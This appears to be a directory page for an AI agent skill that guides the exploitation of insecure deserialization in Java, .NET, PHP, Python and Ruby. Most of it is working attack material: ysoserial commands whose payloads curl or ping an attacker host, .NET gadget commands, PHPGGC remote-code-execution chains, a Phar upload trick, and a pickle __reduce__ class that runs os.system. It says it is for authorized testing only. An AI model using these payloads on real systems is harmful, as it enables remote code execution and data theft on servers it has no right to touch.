SuperAPI AI Directory

exploiting-deserialization

Security & auditing

View repository

Updated 10-16 03:24

About this skill

Exploiting Deserialization

Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.

Only against systems you are authorized to test.

When to Use

  • A cookie, parameter, header, or message body contains a serialized object
  • You see the magic values listed below in traffic or storage
  • Source review finds readObject, unserialize, pickle.loads, Marshal.load, BinaryFormatter, yaml.load, or ObjectInputStream
  • A message queue, cache, or session store holds serialized objects
  • You need to confirm a suspected blind deserialization

When NOT to Use

  • JSON/XML parsing without object instantiation — that is injection or XXE; use testing-web-applications
  • Source-code review as the primary task — use auditing-code-for-vulnerabilities; return here for exploitation
  • Building a weaponized payload beyond proving impact — prove control, stop
  • Analyzing malware that uses deserialization — use analyzing-malware

Recognize the Format

Magic bytes identify the runtime, and the runtime decides the entire approach.

Encoding Base64 prefix Raw bytes Runtime
Java serialization rO0AB AC ED 00 05 Java
.NET BinaryFormatter AAEAAAD///// 00 01 00 00 00 FF FF FF FF .NET
.NET LosFormatter/ViewState often /wEP — ASP.NET
PHP serialize() Tzo, YTo O: , a: PHP
Python pickle gAJ, gASV, KGRw 80 04, 80 02, (dp Python
Ruby Marshal BAh 04 08 Ruby
Java Hessian/Burlap Yw 63/48 Java
YAML with tags — !!python/object, !ruby/object Multiple
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20

Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.

Java

# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0

# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0

Always start with URLDNS. It uses only JDK classes, so it works whenever deserialization happens at all, regardless of what libraries are present. A DNS hit confirms the vulnerability; only then is it worth guessing gadget chains.

Then determine the classpath to pick a chain:

  • Error messages and stack traces naming library classes
  • gadgetprobe (Burp) — sends probes that reveal which classes exist by the difference in error behaviour
  • Version fingerprinting from the application's other responses

Common chains and what they need: CommonsCollections1–7 (commons-collections 3.x/4.x), CommonsBeanutils1, Spring1/2, Groovy1, Hibernate1, Jdk7u21 (no library needed, but a narrow JDK range), ROME, C3P0.

Beyond raw serialization: Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.

.NET

# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
              --generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1

Vulnerable formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter, and Json.NET/XmlSerializer when TypeNameHandling is not None. That last case is the most common in modern code: TypeNameHandling.All or .Objects lets the JSON specify its own $type, which is deserialization by another name.

rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs

ViewState is the classic ASP.NET case. Exploitable when the MAC key is known (leaked web.config, a known default, or enableViewStateMac="false" on old versions). Extract validationKey and decryptionKey first — without them the payload is rejected.

PHP

// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b        # base64 output
phpggc -l                                  # list available chains

# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x

Phar is the underrated vector: it turns any filesystem call on an attacker-influenced path into deserialization, with no obvious unserialize() in the code.

Python

# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())

Also check: yaml.load() without SafeLoader (!!python/object/apply:os.system), jsonpickle, dill, shelve, numpy.load with allow_pickle=True, and any ML model format that is pickle-backed — see securing-ai-systems.

Ruby

# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases

Also: YAML.load (pre-Psych-4 defaults), and Rails cookie stores where the secret_key_base has leaked.

Blind and Out-of-Band

Most real cases give no output. Confirm before investing in a chain.

# 1. DNS/HTTP callback — the primary confirmation
#    Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
#    'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
#    type produces different exceptions, confirming parsing without execution

An out-of-band interaction proves deserialization occurred. That alone is the finding; escalating to a full shell is often unnecessary and increases risk.

Where Serialized Data Hides

Beyond the obvious request parameter:

  • Session cookies and remember-me tokens
  • Message queues (RabbitMQ, Kafka, SQS) consumed by a worker
  • Caches: Redis, Memcached, Ehcache
  • File uploads processed by a background job
  • Inter-service RPC: RMI, JMX, JNDI, T3 (WebLogic), IIOP
  • Database columns holding serialized blobs
  • Anything logged, then re-read by a log processor

The queue and cache cases are the most valuable, because the consumer is usually a backend service with more privilege than the web tier — and nobody proxies it.

Rationalizations to Reject

  • "The input is validated before deserialization." Validation of a serialized blob is nearly impossible; the type is inside the blob.
  • "There's no unserialize() call." PHP: check for Phar. Java: check RMI, JMX, and JNDI. .NET: check TypeNameHandling.
  • "No gadget chain worked, so it's not vulnerable." URLDNS confirms deserialization independent of the classpath. Confirm first, chain second.
  • "It's a signed cookie, so it can't be tampered with." Only if the key is secret. Check for leaked or default keys.
  • "The library is patched." Patches remove specific gadgets. The sink is still there, and new chains keep appearing.
  • "It's internal, only our services send it." Queues and caches are reachable from more places than the web tier, and that is exactly the point.
  • "I got a DNS hit but no shell, so it's low severity." A confirmed deserialization sink is high severity. Report it as such.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

  • T1190 Exploit Public-Facing Application — see also testing-web-applications, testing-apis, enumerating-network-services, attacking-graphql, attacking-grpc-protobuf, exploiting-ssrf, exploiting-xxe

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References

  • auditing-code-for-vulnerabilities — finding the sinks in source
  • testing-web-applications — the surrounding web methodology
  • securing-ai-systems — pickle-backed model formats
  • reporting-security-findings — severity when only blind confirmation exists
  • ysoserial, ysoserial.net, PHPGGC, gadgetprobe, Burp Collaborator / interact.sh